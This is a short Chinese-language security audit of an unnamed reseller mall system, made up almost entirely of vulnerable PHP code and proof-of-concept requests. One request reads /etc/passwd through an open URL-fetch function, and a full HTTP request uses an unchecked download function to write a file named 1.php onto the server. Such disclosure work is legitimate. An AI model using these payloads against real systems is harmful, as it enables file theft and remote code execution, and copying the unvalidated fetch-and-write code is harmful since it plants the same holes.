某微商代理商补货商城系统RCE漏洞审计

/*** 参数1：访问的URL，参数2：post数据(不填则为GET)，参数3：提交的$cookies,参数4：是否返回$cookies* @param  [type]  $url          访问的URL* @param  string  $post         post数据(不填则为GET)* @param  string  $cookie        提交的$cookies* @param  integer $returnCookie 是否返回$cookies* @return [type]                 data*/public function curl_request($url,$post='',$cookie='', $returnCookie=0){  $curl = curl_init();  curl_setopt($curl, CURLOPT_URL, $url);  curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)');  curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);  curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // 跳过ssl检查项  curl_setopt($curl, CURLOPT_AUTOREFERER, 1);  curl_setopt($curl, CURLOPT_REFERER, "http://XXX");  if($post) {    curl_setopt($curl, CURLOPT_POST, 1);    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));  }  if($cookie) {    curl_setopt($curl, CURLOPT_COOKIE, $cookie);  }  curl_setopt($curl, CURLOPT_HEADER, $returnCookie);  curl_setopt($curl, CURLOPT_TIMEOUT, 10);  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);  $data = curl_exec($curl);  if (curl_errno($curl)) {    return curl_error($curl);  }  curl_close($curl);  if($returnCookie){    list($header, $body) = explode("rnrn", $data, 2);    preg_match_all("/Set-Cookie:([^;]*);/", $header, $matches);    $info['cookie']  = substr($matches[1][0], 1);    $info['content'] = $body;    return $info;  }else{    return $data;  }}

/Mobile/address/curl_request?url=file:///etc/passwd

// 下载图片public function dlfile($file_url, $save_to){    $ch = curl_init();    curl_setopt($ch, CURLOPT_POST, 0);    curl_setopt($ch,CURLOPT_URL,$file_url);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    $file_content = curl_exec($ch);    curl_close($ch);    $downloaded_file = fopen($save_to, 'w');    fwrite($downloaded_file, $file_content);    fclose($downloaded_file);  }

GET /home/test/dlfile?file_url=http://127.0.0.1/111.txt&save_to=1.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: no-cacheConnection: keep-aliveHost: 127.0.0.1Pragma: no-cacheSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"